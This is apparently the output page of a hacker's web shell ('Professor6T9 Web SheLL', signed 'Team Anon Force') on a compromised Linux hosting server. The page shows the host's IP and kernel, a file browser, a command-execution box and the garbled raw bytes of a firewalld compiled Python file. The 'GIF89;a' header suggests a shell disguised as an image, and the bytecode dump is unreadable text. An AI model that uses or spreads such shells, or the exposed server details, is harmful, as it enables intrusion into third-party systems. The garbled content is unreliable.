GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux 98.35.109.208.host.secureserver.net 5.14.0-570.51.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 8 09:41:34 EDT 2025 x86_64
Apache
208.109.35.98
/
lib
/
python3.9
/
site-packages
/
firewall
/
core
/
__pycache__
[ HOME ]
Exec
Submit
fw_transaction.cpython-39.pyc
a � i� � @ sJ d Z dgZddlZddlmZ ddlmZ ddlmZ G dd� de �Z dS )z!Transaction classes for firewalld�FirewallTransaction� N)�log)�errors)� FirewallErrorc @ s� e Zd Zdd� Zdd� Zdd� Zdd� Zd d � Zdd� Zd d� Z dd� Z dd� Zdd� Zdd� Z dd� Zdd� Zdd� Zdd� Zdd � Zd!d"� Zd#S )$r c C s( || _ i | _g | _g | _g | _g | _d S �N)�fw�rules� pre_funcs� post_funcs� fail_funcs�modules)�selfr � r �@/usr/lib/python3.9/site-packages/firewall/core/fw_transaction.py�__init__! s zFirewallTransaction.__init__c C s2 | j �� | jd d �= | jd d �= | jd d �= d S r )r �clearr r r )r r r r r ) s zFirewallTransaction.clearc C s | j �|jg ��|� d S r )r � setdefault�name�append�r �backend�ruler r r �add_rule/ s zFirewallTransaction.add_rulec C s |D ]}| � ||� qd S r )r )r r r r r r r � add_rules2 s zFirewallTransaction.add_rulesc C s |j | jv o|| j|j v S r )r r r r r r � query_rule6 s zFirewallTransaction.query_rulec C s2 |j | jv r.|| j|j v r.| j|j �|� d S r )r r �remover r r r �remove_rule9 s zFirewallTransaction.remove_rulec G s | j �||f� d S r )r r �r �func�argsr r r �add_pre= s zFirewallTransaction.add_prec G s | j �||f� d S r )r r r r r r �add_post@ s zFirewallTransaction.add_postc G s | j �||f� d S r )r r r r r r �add_failC s zFirewallTransaction.add_failc C s || j vr| j �|� d S r )r r �r �moduler r r � add_moduleF s zFirewallTransaction.add_modulec C s || j v r| j �|� d S r )r r r# r r r � remove_moduleJ s z!FirewallTransaction.remove_modulec C s |D ]}| � |� qd S r )r% �r r r$ r r r �add_modulesN s zFirewallTransaction.add_modulesc C s |D ]}| � |� qd S r )r&